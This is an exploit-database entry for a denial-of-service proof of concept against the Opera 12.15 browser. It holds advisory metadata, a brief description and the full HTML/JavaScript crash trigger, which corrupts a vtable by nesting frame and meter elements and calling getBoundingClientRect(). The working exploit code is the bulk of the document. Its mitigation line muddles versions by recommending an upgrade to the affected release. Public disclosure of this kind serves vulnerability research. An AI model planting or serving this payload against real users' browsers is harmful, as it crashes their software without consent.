Opera 12.15 DOS POC

vendor:

Opera 12.15

by:

echo

7,5

CVSS

HIGH

VTable Corruption

119

CWE

Product Name: Opera 12.15

Affected Version From: 12.15

Affected Version To: 12.15

Patch Exists: Yes

Related CWE: N/A

CPE: opera:opera_12.15

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 x64

2014

Opera 12.15 is vulnerable to a Denial of Service attack due to a VTable Corruption vulnerability. The vulnerability occurs when a frame and meter element are created and appended to the document body. When the getBoundingClientRect() method is called on the frame element, the VTable of the meter element is corrupted, causing the code to crash.

Mitigation:

Upgrade to the latest version of Opera 12.15 or later.

Source

Exploit-DB raw data:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Opera 12.15 DOS POC</title>
</head>
<body>
<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">

 /* 
   Title: Opera 12.15 vTable Corruption
   Author: echo
   Test: Windows 7 x64
   Version: Opera 12.15 Win32
   Link: www.opera.com
 */

  var wnd = document.getElementById("wnd");
      wnd = wnd.contentWindow;
        
  function d00m()
  {     
               var tag   = [];
               tag.push(document.createElement("frame"));
               tag.push(document.createElement("meter"));
            
               wnd.document.body.appendChild(tag[0]);
               wnd.document.body.appendChild(tag[1]);

               /* step 1*/
               var obj   = tag[1];
                  
               var obj_1 = tag[0];
                      
               try{ obj_1.appendChild(obj); }catch(b){}
                                                                /* eax = [esi + 14h] = this->unknow20 */
               try{ obj_1.getBoundingClientRect(); }catch(a){}  /* ecx = [eax + 14h] = this->unknow20->unknow20 */
                                                                /* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */
               /* step 2*/   
               var obj   = tag[0];
      
               var obj_1 = tag[1];
                    
               try{ obj_1.appendChild(obj); }catch(b){}       
             
               try{ obj_1.getBoundingClientRect();}catch(a){}   /* eax = [esi + 14h] = this->unknow20 */
                                                                /* ecx = [eax + 14h] = this->unknow20->unknow20 */      
    }                                                           /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */
    
    d00m();


    /* so we have here some kind of memory corruption */
    /* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
    /* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
    /* logically next step should be checking why the vtable in "step 2" is corrupted */
    /* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */
    /* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */
     
    
    
   </script>
   <!--088241c155f232f70fcae7020157b9dcff210b84-->
  </body>
</html>